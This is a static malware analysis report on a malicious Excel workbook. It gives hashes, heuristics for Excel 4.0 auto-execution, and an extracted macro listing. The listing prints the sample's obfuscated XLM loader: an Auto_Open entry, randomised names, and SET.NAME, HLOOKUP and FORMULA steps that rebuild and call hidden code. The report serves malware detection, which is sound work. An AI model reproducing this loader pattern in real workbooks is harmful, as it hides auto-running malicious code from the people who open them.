Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fac8fb475cb7e38…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:45:43 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 6cf0a518fc96733f3fa81d239d9daca2 SHA-1: 5f7f6e67f50c4d6cde27590650e68a08ea5927ec SHA-256: 1fac8fb475cb7e38e2292ba96144dc7ee68d1c842a0b341d81bc6113a21e18c2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6380 bytes
SHA-256: 7e0bc834a1d14058982ab2240ca4298aa6e71f157eae5c402f54e66d41b65acf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  flrA
' 0018     21 LABEL : Cell Value, String Constant - AAuJYr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D185 
' 0018     21 LABEL : Cell Value, String Constant - AzOxYg len=0 
' 0018     22 LABEL : Cell Value, String Constant - BgVUgqz len=0 
' 0018     24 LABEL : Cell Value, String Constant - eLZqKylqO len=0 
' 0018     21 LABEL : Cell Value, String Constant - ivSyNo len=0 
' 0018     22 LABEL : Cell Value, String Constant - iyskCTO len=0 
' 0018     26 LABEL : Cell Value, String Constant - JTtaEskncKl len=0 
' 0018     24 LABEL : Cell Value, String Constant - kGjKUtxyI len=0 
' 0018     23 LABEL : Cell Value, String Constant - lluiyuNH len=0 
' 0018     22 LABEL : Cell Value, String Constant - NhBgVSC len=0 
' 0018     24 LABEL : Cell Value, String Constant - NRwCSDKwy len=0 
' 0018     20 LABEL : Cell Value, String Constant - otubR len=0 
' 0018     25 LABEL : Cell Value, String Constant - paqequhSOD len=0 
' 0018     21 LABEL : Cell Value, String Constant - pSwCxX len=0 
' 0018     23 LABEL : Cell Value, String Constant - qdQhPTic len=0 
' 0018     20 LABEL : Cell Value, String Constant - Rzlyg len=0 
' 0018     27 LABEL : Cell Value, String Constant - SloZzoxrIaiZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - UcfrAmicsWfO len=0 
' 0018     25 LABEL : Cell Value, String Constant - zHyQHJXbsp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZvaHzcrc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  flrA,D81,"SET.NAME("BgVUgqz",VALUE("0"))",""
'  flrA,D84,"SET.NAME("AAuJYr",BgVUgqz)",""
'  flrA,D87,"SET.NAME("JTtaEskncKl",BgVUgqz)",""
'  flrA,D92,"SET.NAME("Rzlyg",COUNTA(ivSyNo))",""
'  flrA,D97,"SET.NAME("iyskCTO",COUNTA(NRwCSDKwy))",""
'  flrA,D101,[],""
'  flrA,D105,"SET.NAME("pSwCxX","")",""
'  flrA,D108,"AAuJYr",""
'  flrA,D112,"SET.NAME("eLZqKylqO",HLOOKUP("*",ivSyNo,AAuJYr,FALSE))",""
'  flrA,D116,"paqequhSOD",""
'  flrA,D121,"SET.NAME("NhBgVSC",BgVUgqz)",""
'  flrA,D125,[],""
'  flrA,D128,"NhBgVSC",""
'  flrA,D133,"otubR",""
'  flrA,D138,"AzOxYg",""
'  flrA,D142,"kGjKUtxyI",""
'  flrA,D146,"SET.NAME("ZvaHzcrc",VALUE(HLOOKUP("*",NRwCSDKwy,kGjKUtxyI,FALSE)))",""
'  flrA,D150,"lluiyuNH",""
'  flrA,D155,"pSwCxX",""
'  flrA,D158,"JTtaEskncKl",""
'  flrA,D162,NEXT(),""
'  flrA,D167,"SloZzoxrIaiZ",""
'  flrA,D169,"SET.NAME("f",INT(T(FORMULA(T(pSwCxX)&"",""&T(SloZzoxrIaiZ)))))",""
'  flrA,D173,"zHyQHJXbsp",""
'  flrA,D178,NEXT(),""
'  flrA,D181,RETURN(),""
'  flrA,D210,"SET.NAME("qdQhPTic",D81)",""
'  flrA,D213,"ivSyNo",""
'  flrA,D215,"SET.NAME("NRwCSDKwy",R75C15)",""
'  flrA,D219,"SET.NAME("zHyQHJXbsp",229)",""
'  flrA,D224,"SET.NAME("UcfrAmicsWfO",4)",""
'  flrA,D228,qdQhPTic(),""
'  flrA,D229,HALT(),""